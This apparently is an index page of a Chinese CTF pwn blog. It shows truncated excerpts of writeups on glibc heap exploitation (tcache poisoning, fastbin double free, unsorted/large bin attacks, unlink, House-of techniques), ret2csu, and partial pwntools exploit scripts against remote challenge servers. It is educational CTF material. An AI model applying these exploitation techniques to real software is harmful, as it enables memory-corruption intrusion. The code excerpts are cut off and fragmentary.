2024 ISCFT-PWN复现
girlfriend第六个数组输入的时候,输入的值将决定循环的顺序,再填入后门
123456789101112131415161718192021222324from pwn import *context(log_level='debug')#p=process('./pwn')p=remote('27.25.151.12',25622)ret=0x40101agift=0x401216payload=p64(gift)*5+b'admin'+b'\x00'*2p.sendline(payload)p.sendline(b'100')p.sendline(b'100')p.sendline(b'100')p.sendline(b'100')p.sendline(b'300')#gdb.attach(p)#pause()p.sendline(b'5')p.sendlin ...
house of系列
House Of Einherjar这篇主要是自己记录
图来自好好说话之House Of Einherjar-CSDN博客
就是通过在第一个chunk之前的伪造chunk 再free合并后再申请回来时,获得了指定位置的chunk
版本2.27失效
House Of Force这个主要是通过对top chunk的利用,通过堆溢出改写top chunk的值
把top_chunk的size改成-1
向前molloc到指定位置的距离(负的)加上4(32位)或者8(64位)
向后malloc很大的数字就可以,算下偏移即可(可以直接溢出到栈上)
版本2.27限定了申请范围,失效
House of Lore
hitcon_2018_children_tcache题解
静态分析先看保护
很好,保护全开
这里的部分函数我进行了重命名,方便阅读
这里有个strcpy这个函数会在赋值后自动给字符串末尾加上\x00.这里存在一个off-by-null漏洞
同时这里free函数有个可恶的污染,会把你的free掉后的数据全部填充为\xda
因此我们再后面的进行堆重叠是要先利用上面的off-by-null漏洞把prev_size位置清空出来
总结一下这个题目的思路,首先创造四个堆快 分别大 小 大 小
前三个用来进行堆重叠,在通过大堆快的unsortbin实现泄露libc后,通过free函数时伪造一个prev_size导致合并过度的堆块地址,导致有一个被回收的地址,但是函数逻辑中没有被回收,从而实现double free从而把改写free_hook为libc
动态分析我们先创建4个chunk,并且按顺序free0 11234567add(0x410,b'a')add(0x68,b'b')add(0x4f0,b'c')add(0x30,b'd')free(0)free(1)
...
tcache attack
知识点
tcache 是在glibc2.26后新引入的一个机制,在释放一个堆快的时候,如果这个堆快大小小于0x400并且tcache bin还有空间时,就会把函数放进tcache bins中
how2heap以下的实验版本为Ubuntu18.04
tcache poisoning12345678910111213141516171819202122232425262728293031323334353637383940414243444546#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <assert.h>int main(){ // disable buffering setbuf(stdin, NULL); setbuf(stdout, NULL); printf("This file demonstrates a simple tcache poisoning attack ...
large_bin_attack
知识点
总的来说,large_bin_attack就是在free掉的chunk中,再重新申请的时候,从unsorted_bin中拿出来的时候到large_bin或者small_bin中时,因为原来的这两个bin是双向链表,我们插入一个chunk到这其中的时候,会进行一系列的链表之间的指针互换
结构
fd_nextsize指向前一个与现在chunk大小不一样的地址(一个大小只有第一个有)
bk_nextsize指向后一个与现在chunk大小不一样的地址(一个大小只有第一个有)
how2heap large bin attack我们进入how2heap glibc2.23中的large bin attack调试来理解
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384#include<stdio.h>#incl ...
unsortedbin_attack
知识点glibc2.23
我们知道当一个chunk大于0x80时,再free掉的时候会进入unsorted_bin (先进先出),这时如果我们通过堆溢出等手段改变这个chunk的bk指针,这样再申请这样的堆块,就可以达到把bk指针的值造成改变
好好说话之Unsorted Bin Attack_unsortedbin attack-CSDN博客
这个师傅的图讲这里很清晰,这里借用一下
这是unsortedbin将一个堆块挂入时发生的变化
这是,我们改变chunk_400的bk指针后再申请堆快回来
可以看到我们可以再target处改写一个字节大小的值
例题:buu hitcontraining_magicheap
保护
这里其实有个后门,就是magic地址的>4869时,会进入后门
所以这题的思路很清晰了,就是要改变magic的值
怎么改变呢,这里要利用之这里堆溢出和unsorted bin 结构
经典编辑函数时字节溢出漏洞
我们进入动态调试
先创建3个堆快,再free掉第二个
12345CreateHeap(0x30,'aaaa')CreateH ...
ret2csu及例题
写到newstar的week2才发现一直没写过有关ret2csu的博客,刚好有例题,乘着这个机会写个相关的知识点介绍
知识点
一般在二进制文件中一般有这样的两个函数,大部分的文件都有,我们今天的的csu的汇编就是在这两函数的下面
这就是我们今天的主角
先来介绍一下这两函数
下面的部分函数(我们称之为csu2)(主要是改变寄存器的值)
123456789loc_4013A6: add rsp, 8 pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 retn
这段代码应该都看的懂,就是先把rsp栈顶寄存器+8,再依次把参数弹入相应的寄存器中去
在这个漏洞利用之中一 ...
fastbin_attack
fastbin_attack这里的版本是2.23的glibc
double freedouble free就是在一个函数中重复free了一个chunk
假设有这样的函数
1234567*p1=malloc(0x10) ; //chunk1*p2=malloc(0x10);*p3=malloc(0x10);free(p1);free(p2);free(p3);
这个时候fastbin中的指针会是这个样子
fastbin[20]–>chunk3—>chunk2—->chunk1
这个时候如果我们这样
123456*p1=malloc(0x10) ; //chunk1*p2=malloc(0x10); //chunk2free(p1);free(p2);free(p1);
fastbin[20]–>chunk1—>chunk2<—-chunk1
这个时候molloc(0x10)
改写chunk1中的fd的地址使其指到bss段
这样
fastbin[20]–>chunk2—>chunk1—>bss
连续malloc三次就可以得到一个可 ...
buu刷题脚本
第二页[ZJCTF 2019]EasyHeap这里有几个点,首先要用ret把栈的地址叠高,这样防止exp覆盖函数原来的数据
第二个就是
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768from pwn import *#p=process('./pwn')context(log_level='debug')p=remote('node5.buuoj.cn',27294)elf=ELF('./pwn')libc=ELF('./libc-2.23.so')free_got = elf.got['free']puts_got = elf.got['puts']puts_plt = elf.plt['puts']+0x16system ...
pwn堆—unlink
知识点就我自己的理解,unlink就是大概就是在unsortedbin中这样的双向链表中,在第一个堆中写入伪造的一个堆结构,溢出到第二个堆的prve_size,和size位时,改size的最后一位为0,这样free第二个堆时,会触发堆的合并机制,在改写第一个堆的内容是可以造成一个任意位置的读写
保护检查下面是一个大佬总结的 大佬的文章
检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)。在wiki上我记得在基础部分有讲过,如果一个块属于空闲状态,那么相邻高地址块的prev_size为前一个块的大小
检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态
...